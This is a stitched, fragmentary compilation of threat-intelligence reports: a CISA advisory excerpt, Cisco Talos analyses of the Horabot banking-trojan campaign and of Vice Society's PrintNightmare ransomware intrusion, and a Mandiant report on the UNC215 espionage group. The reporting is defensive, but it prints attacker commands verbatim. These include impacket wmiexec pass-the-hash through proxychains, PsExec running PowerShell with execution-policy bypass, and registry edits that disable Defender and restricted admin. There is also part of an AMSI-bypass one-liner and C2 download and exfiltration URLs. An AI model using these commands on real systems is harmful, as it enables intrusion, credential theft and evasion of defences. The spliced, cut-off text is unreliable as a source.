For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).


Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that threat actors attempt to crack.

AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester


VALIDATE SECURITY CONTROLS


In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.


CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.


To get started: Select an ATT&CK technique described in this advisory (see table 1).


Align your security technologies against the technique.


Test your technologies against the technique.


Analyze your detection and prevention technologies performance.


Tune your security program, including people, processes, and technologies, based on the data generated by this process.


CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.


References [1] MITRE ATT&CK Version 11: Software – Ngrok Revisions Initial Version: November 16, 2022


This product is provided subject to this Notification and this Privacy & Use policy.


Cisco Talos has observed a threat actor deploying a previously unidentified botnet program Talos is calling “Horabot,” which delivers a known banking trojan and spam tool onto victim machines in a campaign that has been ongoing since at least November 2020.The threat actor appears to be targeting Spanish-speaking users in the Americas and, based on our analysis, may be located in Brazil.

New Horabot campaign targets the Americas


The banking trojan can collect the victim’s login credentials for various online accounts, operating system information and keystrokes.


It also steals one-time security codes or soft tokens from the victim’s online banking applications.


The spam tool compromises Yahoo, Gmail and Outlook webmail accounts, enabling the threat actor to take control of those mailboxes, exfiltrate their contacts’ email addresses, and send spam emails.


VictimologyThe attacks predominantly target users in Mexico, with a few infections in Uruguay, Brazil, Venezuela, Argentina, Guatemala and Panama.


In analyzing the phishing emails used in the campaign, Talos identified that users in organizations across several business verticals — including accounting, construction and engineering, wholesale distributing and investment firms — have been affected.


However, the attacker uses Horabot and the spam tool in this campaign to further propagate the attack by sending additional phishing emails to the victim’s contacts, meaning Spanish-speaking users from organizations in additional verticals are likely also affected.


During our analysis, Talos observed that a malicious server at IP address 185[.]45[.]195[.]226 hosted the PowerShell downloader script and had an open directory that the attacker eventually disabled.


Another malicious server, 216[.]238[.]70[.]224, hosted the ZIP file containing the payloads.


The attacker also used lookalike domains in this campaign to carry out malicious activities and evade network detection.


Based on Talos’ analysis of the domain registration information for the attacker’s infrastructure, Talos assesses with high confidence that this campaign began in November 2020 and has been ongoing through 2023.


This domain name also resembled the legitimate Mexican Tax Agency domain, a tactic the attacker likely adopted to disguise malicious traffic.


Based on our analysis of the domain registration period and the URLs associated with the four domains, they belong to the same campaign that has been ongoing since at least November 2020.Malicious domainsRegistration periodm9b4s2[.]site November 2020tributaria[.]websiteJuly


The infection starts with an income tax-themed phishing email written in Spanish, disguising itself as a tax receipt notification and enticing users to open the attached malicious HTML file.


Sample phishing email.


When a victim opens the HTML file attachment, an embedded URL is launched in the victim’s browser, redirecting to another malicious HTML file from an attacker-controlled AWS EC2 instance.


The content displayed on the victim’s browser lures them to click an embedded malicious hyperlink which downloads a RAR file.


Disguised malicious web page.


The RAR file contains a batch file with a CMD extension that is executed when the victim opens the contents of the file.


The PowerShell downloader script will download a ZIP file that contains the payload DLLs and a few legitimate executables and DLLs.


It creates Windows shortcut files configured to run the payloads in the startup folder of the victim’s machine and restarts the machine after 10 seconds.


Three-layer infection chain delivers and detonates the payloadsMalicious batch file downloads the PowerShell downloaderThe RAR file containing a malicious batch file with a .cmd extension is downloaded to the user’s machine.


Per the instructions on the HTML page, if the user opens the CMD file, the malicious batch script executes an embedded PowerShell command to download the next-stage PowerShell script from the server and execute it on the victim’s machine.


PowerShell script downloads the payloadsThe malicious PowerShell downloader script launches several processes that download the payloads and reboots the victim’s machine.


The random name generated by the sample during our analysis was “_upyqta2_J”.


The script uses this random name eventually to create other folders and files.


The script creates two other malicious batch scripts with the extension .cmd


in the folder “/Users/Public.”


<deskto_name>S.cmd and <desktop_name>Sy.cmd are the naming conventions used.


A snippet of the PowerShell downloader script.


The script also creates three more Windows shortcut files in the victim’s machine startup folder, with the details of the target path pointing to the folders where the payloads are eventually downloaded.


The attacker used the Internet Explorer icon for the dropped shortcut files.


Talos compiled a table showing the malicious Windows shortcut files and their relative paths with the command line arguments.


Shortcut filesRelative pathCommand line arguments_upyqta2_JAA.lnk..\..


\_upyqta2_J\_upyqta2_J.exeC:\_upyqta2_J\_upyqta2_J.ai_upyqta2_Jy.lnk..\..


\Public\DESKTOP-UT9NJ4S.cmd Next, the script downloads a malicious ZIP file — “m.zip” — from a server using the URL “hxxp[://]216[.]238[.]70[.]224/20/t/e/m.zip” to the random name folder.


The script renames the downloaded file with a random name and deflates its contents.


The deflated contents are renamed using random characters, then the malicious ZIP file is deleted.


The script also writes the path of the executable file, “_upyqta2_Ji7.exe”, to the class’s registry key “HKEY_CURRENT_USER\software\Classes\ms-settings\shell\open\command” and restarts the victim’s machine after 10 seconds using the command “shutdown /r /t


script_upyqta2_J.exeAutoIt interpreter_upyqta2_J.iaEncrypted trojan DLL_upyqta2_J.mdatEncrypted Spam tool DLL_upyqta2_Ji7.exeKinit.exe, a legitimate executablejli.dllBanking trojan MSVCR100.dllLegitimate DLLWebView2Loader.dllLegitimate DLLMalicious shortcut files detonate the payloads after system restartAfter the PowerShell downloader reboots the victim’s machine, the malicious Windows shortcut files dropped in the Windows startup folder are run, executing the payloads used in the attack.


This section describes the behavior of each of the shortcut files._upyqta2_JAA.lnkThis link file “_upyqta2_JAA.lnk” will sideload a malicious DLL called “jli.dll,” a banking trojan, by executing “_upyqta2_Ji7.exe,” which is actually a legitimate copy of “kinit.exe” that the PowerShell downloader script drops._upyqta2_JEX.lnkThis link file executes the compiled AutoIt


script “_upyqta2_J.ai” by running the executable “ _upyqta2_J.exe”, which is a legitimate AutoIt interpreter.


Then, the AutoIt script will sideload the DLL “_upyqta2_J.ia.a1” to the AutoIt interpreter process and execute the malicious function “A040822_1” with the parameter “STRUCT.”


The decrypted malicious DLL “_upyqta2_J.ia.a1” is another copy of the banking trojan with additional stealer capabilities such as keylogging, copying of clipboard data, screenshot capturing and mouse tracking.


A snippet of the AutoIt code _Upyqta2_J.ai_upyqta2_JAT.lnkThis link file performs the same steps as “_upyqta2_JEX.lnk” by executing the AutoIt script “_upyqta2_J.at” to decrypt “ _upyqta2_J.mdat” and create the DLL “_upyqta2_J.mdat.a1” with a spoofed extension.


Then, the AutoIt script sideloads the DLL to the AutoIt interpreter process and executes the malicious function “B080223_AT” with the parameter “STRUCT”.


The malicious DLL “_upyqta2_J.mdat.a1” is a spam tool with information-stealing capability.


The attacker uses the PowerShell downloader to reinfect the victim’s machine.


link file executes another dropped batch file, “<desktop_name>Sy.cmd”, which executes a PowerShell command to download and run the Horabot “au” using the URL hxxp[://]tributaria[.]website/esp/12/151222/au/au.


PayloadsTalos found that the payloads employed by the attacker in this campaign are designed to steal sensitive information, evade detection and disseminate additional phishing emails to the victim’s contacts.


The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.


The trojan also has anti-analysis and anti-detection capabilities to evade the sandbox and virtual environments.


The spam tool and newly identified Horabot are employed in the attack to compromise the victim’s mailboxes, steal their contact’s email addresses, and send phishing emails to the victim’s contacts.


Banking trojan targets victim’s login credentials and financial informationThe banking trojan identified in this campaign, a 32-bit Windows DLL written in the Delphi programming language and packed with Themida packer, can collect system information, credentials and user activity.


This trojan is based on a tool called Delphi_Remote_Access_PC, which is publicly available on GitHub.


It also uses similar techniques as Brazilian banking trojans reported by other security researchers at ESET and Check Point in the past.


The trojan performs surveillance on the victim’s machine by collecting system information such as hostnames, IPv4 address, operating system version, disk volume information, disk size and anti-virus software information, and gets the system’s default language.


The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request to the URL in the below format.hxxp[://]216[.]238[.]70[.]224/20/a/20/index[.]php?AT=<username>%20<hostname>%20<Operating system version>&MD=<Antivirus


It monitors the open application windows on the victim’s desktop, overlays fake windows, and manages the pop-up windows to steal sensitive information.


These pop-ups are stored in TFORMS in the RCData section of the executable.


Banking trojan forms in the binary resource section.


The dynamic analysis behavior in our analysis environment showed us that the database source file “login_data.sql” contains the login details and the associated URLs from the Google Chrome database files.


Database table containing the victim’s credentials.


Detects the presence of debuggers through APIs IsDebuggerPresent, and OutputDebugStringW, and checks for system breakpoints.


Creates processes enabling the debug privileges by adjusting the process token “Debug,” readings the Process Environment Block, and queries the DebugPort to check if the malware is being debugged.


Checks the registry keys to detect virtual environments such as VMWare, Virtual Box, Wine, Microsoft Hyper-V or Windows Virtual PC.A spam tool acts as another payload in this campaign, enabling the attacker to take over the victim’s other email accounts and send spam emails to the contacts found within them.


Upon compromising the credentials, the spam tool takes full control of the victim’s email account, creates spam messages and sends them to the email IDs found in the victim’s mailbox.


The tool also exfiltrates the email address to the C2 server using an HTTP POST request.


The spam tool also showed us information-stealing capabilities such as logging keystrokes, capturing screenshots and tracking or intercepting the mouse events on the victim’s machine.


The decryption function decrypts the URL pointing to the attacker-controlled server.


It has embedded Visual Basic code that enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox.


Phishing emails are themed as a tax receipt or service invoice and the attacker is using the email subject and body, in the format shown below:Phishing email subject:Se adjunta la factura del servicio <calendar month in Spanish> :ATT <dd/mm/yyy> <hh:mm:ss> <AM/PM>Comprobante Fiscal Digital <calendar month in Spanish> :ATT <dd/mm/yyy> <hh:mm:ss> <AM/PM>


<dd/mm/yyy> <hh:mm:ss> <AM/PM>The end game of the attacker is to deliver the banking trojan to steal the victim's creds and financial data, along with it they are delivering Horabot and separate spam tool to propagate the infection by sending the phishing emails to all of the validated email IDs in the victim's mailbox.


Horabot, during its initial phase of execution, initializes the victim’s desktop Outlook application by loading “Microsoft.


Office.


Interop.


The script also initializes an array to store the stolen email addresses and creates a folder called “a160323” in “C:\Users\Public\.” as an infection marker.


A function that initializes the outlook application object.


After initialization, the script looks for the Outlook data files from the victim profile’s Outlook application data folder.


It loads and accesses the victim’s address book and contacts if they exist.


It enumerates all folders and emails in the victim’s Outlook data file and extracts email addresses from the emails’ sender, recipients, CC and BCC fields.


During this process, the script checks the “AddressEntryUserType” object values to determine if the email address is one of the types listed below:Exchange agentExchange organizationExchange distribution listExchange public folderAddress that belongs to the same or different exchange forestAddress that uses Lightweight Directory Access Protocol


[LDAP]Address that uses Simple Mail Transfer Protocol


[SMTP]Function that enumerates and collects email addresses.


The script has an email address format validation function that compares all of the extracted email addresses with a regular expression.


After they are successfully validated, the addresses are added to the email address collection array.


Microsoft application data folder.


Then the script encodes the email addresses in the “.Outlook” file to a data stream.


Using the GetRequestStream function, the script requests a data stream from the C2 server through the URL hxxp[://]139[.]177[.]193[.]74/esp/12/151222/au/tst/index[.]php?list and upon the successful response, the encoded email addresses are exfiltrated.


After exfiltrating the email addresses, the script creates a folder “fb” in the Public user folder and creates an HTML file in it, named “adjuntos_1503.html” in our sample analysis.


Then the script downloads the contents of an HTML file stored in an attacker-controlled server and writes it to the HTML file dropped in the “fb” folder.


Next, the script constructs an email with a hardcoded subject and body and attaches the HTML file from the “fb” folder.


Then the phishing email is sent to the list of extracted email addresses one at a time, deleting the “fb” folder to cover its paths and avoid detection.


CoverageCisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.


Try Secure Endpoint for free here.


Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.


Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.


You can try Secure Email for free here.


Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.


Sign up for a free trial of Umbrella here.


Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.


Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.


Snort SIDs for this threat are 61839-61856 for Snort 2 and 300569-300577 for Snort 3.ClamAV detections are available for this threat:Txt.Loader.


Trojan.


By Edmund Brumaghin, Joe Marshall, and Arnaud Zobec.

Vice Society leverages PrintNightmare in ransomware attacks


Executive SummaryAnother threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent ransomware attack, according to Cisco Talos Incident Response research.


While previous research found that other threat actors had been exploiting this vulnerability, this appears to be new for the threat actor Vice Society.


Talos Incident Response's research demonstrates that multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward.


For defenders, it is important to understand the attack lifecycle leading up to the deployment of ransomware.


If users have not already, they should download the latest patch for PrintNightmare from Microsoft.


In this post, we'll analyze the various TTPs used in a recent ransomware attack from Vice Society that leveraged this vulnerability.


Many of these same TTPs are commonly observed in other ransomware attacks, such as a previously published analysis of a WastedLocker attack.


Who is Vice Society?Vice Society is a relatively new player in the ransomware space.


They emerged in mid-2021 and have been observed launching big-game hunting and double-extortion attacks, primarily targeting small or midsize victims.


They also attempt to be innovative on end-point detection response bypasses.


As with other threat actors operating in the big-game hunting space, Vice Society operates a data leak site, which they use to publish data exfiltrated from victims who do not choose to pay their extortion demands.


Below is an example screenshot of this site.


Some of the most interesting characteristics of this attack were:The use of utilities such as proxychains and impacket during the post-compromise phases of the attack lifecycle.


The targeting of backups to prevent recovery following ransomware deployment.


Attempts to bypass native Windows protections for credential theft and privilege escalation.


Below are some key examples of the TTPs used in this attack as they relate to the Mitre ATT&CK Framework.


DiscoveryATT&CK Technique: System Owner/User Discovery (T1033)ATT&CK Technique: Account Discovery (T1087)ATT&CK Technique: Domain Trust Discovery (T1482)Once initial access was achieved, several techniques were observed being leveraged to conduct post-compromise discovery and reconnaissance within the environment.


The "sudo" command was used to obtain credentials associated with a commercial backup solution, likely trying to gain access to backups present within the environment.sudo -s


-k -p


[Backup Prompt] whoamiWe also observed the use of impacket, a common network protocol manipulation tool to enumerate the environment and obtain additional information about the Active Directory configuration in place.


This is typically done to identify high-value targets that may be attractive, as attacks attempt to maximize their sphere of influence over as much of the environment as possible prior, eventually deploying ransomware and making their presence known.


Below are some examples of the command line syntax used for the performance of this activity.cmd.exe /q


1> \\127.0.0.1\admin$\__[STIRNG] 2>&1cmd.exe /q


/c net group domain admins /domain


1> \\127.0.0.1\admin$\__[STRING] 2>&1 We observed enumeration of the domain trust relationships present within the environment.


The adversaries used the "nltest" command for this purpose.


linux


[HOSTNAME]ExecutionATT&CK Technique: Command and Scripting Interpreter:


Windows Command Shell (T1059.003)ATT&CK Technique: Command and Scripting Interpreter: PowerShell (T1059.001)ATT&CK Technique: Windows Management Instrumentation (T1047)ATT&CK Technique: System Services: Service Execution (T1569.002)Similar to what was observed during the post-compromise reconnaissance phase of the attack, the adversary used impacket to execute Windows Management Instrumentation (WMI) to achieve command execution on other systems present in the environment.


The attacker also used the "proxychains" utility, which is often employed to redirect network traffic during penetration testing, red teaming, and other offensive operations.


cmd.exe /q


/c proxychains ~/impacket/examples/wmiexec.py -hashes [SHA256 HASH]


[USERNAME]@[IP ADDRESS] 1> \\127.0.0.1\admin$\__[STRING] 2>&1We also observed the adversary using Windows Batch files to execute PSExec.


In this case, PSExec remotely authenticated and executed PowerShell on remote systems within the environment.


cmd.exe /c


C:\s$\0.bat PsExec.exe -d \\[HOSTNAME] -u


[DOMAIN]\[USERNAME] -p


[PASSWORD] -accepteula -s


powershell.exe -ExecutionPolicy


Bypass -file \\[HOSTNAME]\s$\p.ps1


There were also artifacts in the environment that indicate that the recently disclosed PrintNightmare vulnerability may have been used during this attack.


A DLL associated with PrintNightmare was observed on systems within the environment as described in the section "Credential Access.


"PersistenceATT&CK Technique: Create or Modify System Process (T1543)In many big-game hunting ransomware attacks, upon achieving initial access into the target environment, the adversary will first attempt to achieve persistence so that they can regain access to the environment if they are detected or their initial point of access is otherwise removed.


LocalSystem Service Name: Updater Service Filename: %COMSPEC% /C


%WINDIR%\System32\WindowsPowershell\v1.0\powershell -noP


-sta


-w 1 -enc


[BASE64 ENCODED BLOB]As can be seen above, the PowerShell being executed was Base64 encoded.


The decoded PowerShell instructions are below:This PowerShell is responsible for the performing the following tasks:Disabling PowerShell logging.


Bypassing AMSI protection for PowerShell.


By implementing this persistence, the attacker can regain access to the environment if the targeted organization destroys their initial means of access.


Lateral movementATT&CK Technique: Remote Services (T1021)ATT&CK Technique: Lateral Tool Transfer (T1570)Once operational within the target environment, attackers will typically perform reconnaissance, identifying additional target systems, and then move laterally from system to system as they attempt to escalate privileges and then, ultimately, deploy ransomware on many systems in the environment.


[HOSTNAME]The attacker also attempted to execute PowerShell scripts on remote systems in the environment while moving system-to-system.


Bypass -file \[IPADDRESS]\share$\p.ps1 During the attack, adversaries copied and executed the aforementioned PowerShell script on multiple systems across the environment.


Credential accessATT&CK


Technique: OS Credential Dumping (T1003)ATT&CK Technique: OS Credential Dumping: LSASS Memory (T1003.001)The actor attempted to extract credentials from the victim in two ways: Accessing the active directory global catalog file ntds.dit and utilizing comsvcs.dll. Comsvcs.dll is a well-known way to extract LSASS (Local Security Authority Subsystem Service) data.


By invoking comsvcs.dll with rundll32.exe, an adversary can create a dump of any process.


This is a classic and clever living-off-the-land binary (LoLBin) tactic that avoids popular credential extraction tools like Mimikatz, which may alert defenders.


We also observed attempts to dump the NTDS.dit, which is a database of Active Directory information.


Examples of the command-line syntax used in these cases are below.cmd.exe /q /c


powershell ntdsutil.exe '


/c powershell ntdsutil.exe '


This attack vector is notable in the ubiquitous nature of print services in all modern corporate enterprises.


We also observed the attacker attempting to clear the contents of security logs on compromised systems.


The following command-line syntax was observed being used to clear the System, Security and Application Windows Event Logs.


Disabling this security control allows attackers to leverage pass-the-hash attacks and hinder RDP's security on systems.cmd.exe /q /c


powershell new-itemproperty -path hklm:\system\currentcontrolset\control\lsa -name disablerestrictedadmin -value 0


-propertytype dword -force 1> \\127.0.0.1\admin$\__[STRING] 2>&1


We also observed the attacker disabling Windows Defender by modifying the Windows Registry on compromised systems.


DisableRoutinelyTakingAction /t


REG_DWORD /d


DisableBlockAtFirstSeen /t


In this case, the Windows Command Processor was used to invoke PowerShell, which then leveraged Invoke-Expression (IEX) for this purpose.cmd.exe /Q /c powershell.exe -exec bypass -noni -nop


-w 1 -C IEX ([Net.ServicePointManager]::ServerCertificateValidationCallback={$true}try{[Ref].Assembly.


GetType('Sys'+'tem.


In these attacks, adversaries attempt to exfiltrate large quantities of sensitive information for the purposes of further extortion against victims.


This data, once exfiltrated, is published to attacker-controlled websites that are commonly referred to as "data leak sites" in situations where the victim chooses not to pay the ransom demand.


Defender takeawaysIt can be difficult to account for the myriad ways an attacker can compromise and inflict malware on a network.


Given the techniques demonstrated here, it can feel overwhelming as a defender to account for every avenue of attack.


The good news is that there are several lessons we can learn about this incident: Logging is critical for forensics — ensure there is reliable and secure logging infrastructure in place.


Utilize multi-factor authentication to make credential theft more difficult to exploit.


Look at egress filtering for firewalls and ensure malicious traffic cannot call out to adversary infrastructure.


Keep up-to-date and offline backups that cannot be targeted by adversaries.


ConclusionAs demonstrated throughout this post, attackers often make use of a variety of tactics, techniques, and procedures as they work to accomplish their mission objectives.


In some instances, there is significant overlap and similarities between the approaches taken by distinct threat actors.


Likewise, adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively.


The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.


Failure to do so could result in widespread operational disruption, reputational damage, and the loss of confidentiality of sensitive information.


CoverageWays our customers can detect and block this threat are listed below.


Cisco Secure Endpoint is ideally suited to prevent the execution of the malware detailed in this post.


New users can try Cisco Secure Endpoint for free here.


Cisco Secure Firewall and Meraki MX can detect malicious activity associated with this threat.


Cisco Secure Malware Analytics helps identify malicious binaries and build protection into all Cisco Security products.


Cisco Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.


PrintNightmare DLL:


This blog post details the post-compromise tradecraft and operational tactics, techniques, and procedures (TTPs) of a Chinese espionage group we track as UNC215.

UNC215 Spotlight on a Chinese Espionage Campaign in Israel


While UNC215’s targets are located throughout the Middle East, Europe, Asia, and North America, this report focuses on intrusion activity primarily observed at Israeli entities.


This report comes on the heels of the July 19, 2021, announcements by governments in North America, Europe, and Asia and intragovernmental organizations, such as the North Atlantic Treaty Organization (NATO), and the European Union, condemning widespread cyber espionage conducted on behalf of the Chinese Government.


These coordinated statements attributing sustained cyber espionage activities to the Chinese Government corroborate our long-standing reporting on Chinese threat actor targeting of private companies, governments, and various organizations around the world, and this blog post shows yet another region where Chinese cyber espionage is active.


Threat Detail


In early 2019, Mandiant began identifying and responding to intrusions in the Middle East by Chinese espionage group UNC215.


These intrusions exploited the Microsoft SharePoint vulnerability CVE-2019-0604 to install web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia.


APT27 has not been seen since 2015, and UNC215 is targeting many of the regions that APT27 previously focused on; however, we have not seen direct connection or shared tools, so we are only able to assess this link with low confidence.


This analysis showed multiple, concurrent operations against Israeli government institutions, IT providers and telecommunications entities beginning in January 2019.


During this time, UNC215 used new TTPs to hinder attribution and detection, maintain operational security, employ false flags, and leverage trusted relationships for lateral movement.


We believe this adversary is still active in the region.


Attack Lifecycle Between 2019 and 2020, Mandiant responded to several incidents where Microsoft SharePoint vulnerability CVE-2019-0604 was used to deliver web shells, and then FOCUSFJORD payloads to select government and academic targets in the Middle East and Central Asia.


After gaining initial access, the operators conduct credential harvesting and extensive internal network reconnaissance.


This includes running native Windows commands on compromised servers, executing ADFind on the Active Directory, and scanning the internal network with numerous publicly available tools and a non-public scanner we named WHEATSCAN.


The operators made a consistent effort to delete these tools and remove any residual forensic artifacts from compromised systems.


In another incident response investigation, UNC215 pivoted to multiple OWA servers and installed web shells.


After identifying key systems within the target network, such as domain controllers and Exchange servers, UNC215 moved laterally and deployed their signature malware FOCUSFJORD.


UNC215 often uses FOCUSFJORD for the initial stages of an intrusion, and then later deploys HYPERBRO, which has more information collection capabilities such as screen capture and keylogging.


While UNC215 heavily relies on the custom tools FOCUSFJORD and HYPERBRO, Chinese espionage groups often have resource sharing relationships with other groups, and we do not have enough information to determine if these tools are developed and used exclusively by UNC215. Figure 1: Attack Lifecycle Tradecraft and Operational Security We identified numerous examples of efforts by UNC215 to foil network defenders by minimizing forensic evidence left on compromised hosts, exploiting relationships with trusted third parties, continuously improving the FOCUSFJORD backdoor, concealing command and control (C2) infrastructure, and incorporating false flags.


Reducing Forensic Evidence on Disk UNC215 consistently cleaned up evidence of their intrusion after gaining access to a system.


The operators deleted tools used for credential harvesting and internal reconnaissance including a custom scanner dubbed WHEATSCAN after use.


The first FOCUSFJORD payload delivered to a system contains a blob that includes C2 and other configuration data.


On initial execution, FOCUSFJORD writes its encrypted C2 configuration into the system’s registry, sets up a persistence mechanism and then rewrites itself on disk without the embedded configuration and with limited functionality to only read configuration data.


This process enables the operators to obfuscate the configured C2 servers from automated sandbox runs or disclosure in public file scanning services.


A newly identified utility dubbed FJORDOHELPER can update FOCUSFJORD configurations and completely remove FOCUSFJORD from the system.


Exploiting Trust Relationships UNC215 leveraged trusted third parties in a 2019 operation targeting an Israeli government network.


As illustrated in Figure 2, the operators were able to access their primary target via RDP connections from a trusted third party using stolen credentials and used this access to deploy and remotely execute FOCUSFJORD on their primary target.


We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.


HYPERBRO samples MD5:


0ec4d0a477ba21bda9a96d8f360a6848 and MD5: 04dece2662f648f619d9c0377a7ba7c0 have embedded configurations of internal IP addresses (192.168.1.237 and 192.168.4.26 respectively) as C2 servers.


If they receive a command with an IP address and port, they will connect and relay the command.


FOCUSFJORD sample MD5: e3e1b386cdc5f4bb2ba419eb69b1b921 has an internal IP address, 192.168.4.197, configured as its C2.


While hunting for FOCUSFJORD samples, we found a sample of a new malware (MD5: 625dd9048e3289f19670896cf5bca7d8) that shares code with FOCUSFJORD, but is distinct.


We suspect this type of malware was used in the aforementioned operation.


The actors stripped out unnecessary FOCUSFJORD capabilities, possibly to reduce the likelihood it would be detected by security controls.


Figure 3 contains the data structure as it is being sent from a FOCUSFJORD sample configured to communicate with another FOCUSFJORD victim.


Figure 3: Two FOCUSFJORD samples configured to proxy C2 traffic FOCUSFJORD Changes We have observed numerous variants of the FOCUSFJORD malware family since 2017.


The authors have added new communications protocols, an updated loading mechanism, and expanded the number of supported configurations in newer versions.


Version numbers indicate that the malware undergoes frequent changes and maybe supported by a team of developers.


Many of these variants contain or remove functionality depending on the operator’s unique requirements at the time, which may suggest that multiple operators have access to the source code or a builder, or that a close relationship exists between the developers and operators.


FOCUSFJORD samples can be configured with up to 13 unique registry values which allow operators to control and organize compromised hosts.


In addition to specifying details related to the loading and persistence mechanisms and C2 communications, there are two keys which allow the operator to add additional context about the victim: Registry key 12 is the “group” name.


Registry key 13 could be interpreted as the “console” name, although we do not fully understand how the identifier is used by the operators.


We have observed the values “galway”, “iceland”, “helen”, and “idapro”.


We observed different console values within the same network, identical console values using different C2 addresses, and identical console values targeting different countries.


The NCC Group discussed these configurations in a 2018 report and released a decoding tool.


Registry Key 13 FOCUSFJORD MD5 Hash Related C2 Suspected Target helen 3d95e1c94bd528909308b198f3d47620 139.59.81.253 Israel helen


f335b241652cb7f7e736202f14eb48e9 139.59.81.253 Israel helen a0b2193362152053671dbe5033771758 139.59.81.253 Israel helen


UAE iceland a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (IT) idapro a78c53351e23d3f84267e67bbca6cf07 206.189.123.156 Israel (IT) galway 04c51909fc65304d907b7cb6c92572cd


Unknown galway 09ffc31a432f646ebcec59d32f286317


159.65.80.157 Unknown galway 6ca8993b341bd90a730faef1fb73958b


128.199.44.86 Unknown Helen * Unknown 46.101.255.16 Iran Helen * Unknown 178.79.143.78 Iran Idapro * Unknown 138.68.154.133 Iran Table 1: FOCUSFJORD comparison (note: the * entries are from public reporting and have not been verified by Mandiant) False Flags Artifacts in UNC215 campaigns often contain foreign language strings that do not match the country being targeted and may be intended to mislead an analyst examining the malware.


Additionally, on at least three occasions, UNC215 employed a custom tool associated with Iranian actors whose source code was leaked.


FOCUSFJORD samples (MD5: d13311df4e48a47706b4352995d67ab0 and MD5: 26d079e3afb08af0ac4c6d92fd221e71) observed on Israeli and UAE networks, and a memory dump (MD5: d875858dbd84b420a2027ef5d6e3a512) submitted to a public malware repository by a likely Uzbekistan financial organization are configured with registry keys in Farsi.


Notably, this variant also contains an error message string in Arabic ('ضائع' – which translates to: lost or missing).


In April 2019, UNC215 deployed the SEASHARPEE web shell against financial and high-tech organizations in the Middle East and Asia.


The SEASHARPEE web shell was developed and used by Iranian APT actors until the code was leaked online in the telegram channel Lab Dookhtegan a few weeks earlier in March 2019.


The document contains "C:\Users\Iran" paths that were likely included to obfuscate the source of the activity.


The use of Farsi strings, filepaths containing /Iran/, and web shells publicly associated with Iranian APT groups may have been intended to mislead analysts and suggest an attribution to Iran.


Tradecraft Mistakes While UNC215 prioritizes evading detection within a compromised network, Mandiant identified several examples of code, C2 infrastructure, and certificate reuse indicating that UNC215 operators are less concerned about defenders’ ability to track and detect UNC215 activity.


C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020.


On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz.


After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.


Attribution Mandiant attributes this campaign to Chinese espionage operators which we track as UNC215 a Chinese espionage operation that has been suspected of targeting organizations around the world since at least 2014.


We have low confidence that UNC215 is associated with APT27.


UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors.


The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives.


Outlook and Implications


This cyber espionage activity is happening against the backdrop of China’s multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli’s robust technology sector.


Chinese companies have invested billions of dollars into Israeli technology startups, partnering or acquiring companies in strategic industries like semi-conductors and artificial intelligence.


As China’s BRI moves westward, its most important construction projects in Israel are the railway between Eilat and Ashdod, a private port at Ashdod, and the port of Haifa.


Ingress Tool Transfer T1112


Modify Registry T1113 Screen Capture T1115 Clipboard Data T1133 External Remote Services T1134 Access Token Manipulation T1140


Exploit Public-Facing Application T1199 Trusted Relationship T1202 Indirect Command Execution T1213 Data from Information Repositories T1482 Domain Trust Discovery T1489


Service Stop T1497 Virtualization/Sandbox Evasion T1497.001 Virtualization/Sandbox Evasion: System Checks T1505.003 Server Software Component: Web Shell T1518 Software Discovery T1543.003 Create or Modify System Process: Windows Service T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1553.002 Subvert Trust Controls: Code Signing T1559.002 Inter-Process Communication: Dynamic Data Exchange T1560


Hide Artifacts: Hidden Window T1569.002 System Services: Service Execution T1573.002 Encrypted Channel:


FOCUSFJORD C2 IP 34.65.151.250 FOCUSFJORD C2 IP 159.89.168.83 FOCUSFJORD C2 IP 103.59.144.183


FOCUSFJORD C2 IP 141.164.52.232


FOCUSFJORD C2 Detecting the Techniques FireEye detects this activity across our platforms.


Win.


FOCUSFJORD Trojan.Win32.DllHijack.


FEC3 FE_Trojan_Raw32_SILKWRAP_1 FE_Autopatt_Win_FOCUSFJORD Trojan.


GenericKD.43427954 Gen:Variant.


